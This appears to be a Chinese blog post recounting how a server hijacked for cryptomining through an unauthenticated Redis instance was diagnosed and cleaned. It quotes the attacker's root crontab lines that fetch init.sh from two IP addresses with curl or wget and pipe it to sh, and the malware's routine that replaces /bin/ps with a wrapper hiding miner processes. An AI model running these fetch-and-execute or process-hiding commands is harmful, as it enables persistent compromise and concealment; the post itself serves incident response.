【实践】服务器被挖矿之后的处理

当你的服务器被挖矿的时候你应该怎么办?或者你应该做一些什么?

背景:

在清明节前后两台,线上某个私有集群出现的CPU使用率剧增告警,因为是业务服务器,自身的高可用和服务漂移机制也就没有引起我的重视。等到节日过完之后来才开始处理

过程

告警:

首先收到的是CPU占用超90%的告警,而且85%以上的占用是usr级别,当前第一反应就是要么有东西假死了,要么就是谁在乱起什么东西

排查

  • 基本上机器已经无法进入了,没办法只能通过IPMI进行重启,但是重启过后从监控观察,CPU立马彪上来,初步怀疑被挖矿了。
  • 通过top命令发现没有CPU占用过高的服务,并且CPU占用总计不超过10核,但是从监控看CPU占用超40核,猜测可能被挖矿了。
  • 简单查看了一下crontab发现确实多了很多无关的任务
REDIS0009�      redis-ver5.0.5�
redis-bits�@�ctime�k7h`used-mem�pr��
                                      aof-preamble���backup4@L


*/5 * * * * root wd1 -q -O- http://45.133.203.192/cleanfda/init.sh | sh

backup1@I


*/2 * * * * root cd1 -fsSL http://195.58.39.46/cleanfda/init.sh | sh

backup3@L


*/4 * * * * root curl -fsSL http://45.133.203.192/cleanfda/init.sh | sh

backup2@K


*/3 * * * * root wget -q -O- http://195.58.39.46/cleanfda/init.sh | sh

看了定时任务里面的脚本,主要的修改点:

  • crontab任务
  • 本地hosts
  • 多备份启动任务
  • 重命名原始命令(ps,curl,wget)
  • 更改部分文件读写格式

重命名示例

    then
        echo "/bin/ps changed"
    else
        mv /bin/ps /bin/ps.original
        echo "#! /bin/bash">>/bin/ps
        echo "ps.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/ps
        chmod +x /bin/ps
    touch -d 20160825 /bin/ps
        echo "/bin/ps changing"
    fi
如何恢复?
echo "ps.original \$@">>/bin/ps

注意:很多重命名的命令是为了让你没办法查看他正在运行的程序,就无法杀掉。还有一些例如下载,重命名后按照他脚本命令进行下载运行,持续顽固运行

所以遇到此类的挖矿,对于系统的破坏性不大,但是较为顽固的,可以将挖矿运行脚本进行下载下来,根据脚本步骤进行反向操作就可以,但是要注意先后顺序,最好的方式是先断网,再把定时任务确认全部关闭后,再进行一定的命令,hosts等恢复

漏洞来源

来源于未加密的redis可以远程使用config set,进而更改crontab列表进行任务的下发和启动。

👇👇传送门👇👇
漏洞总结文章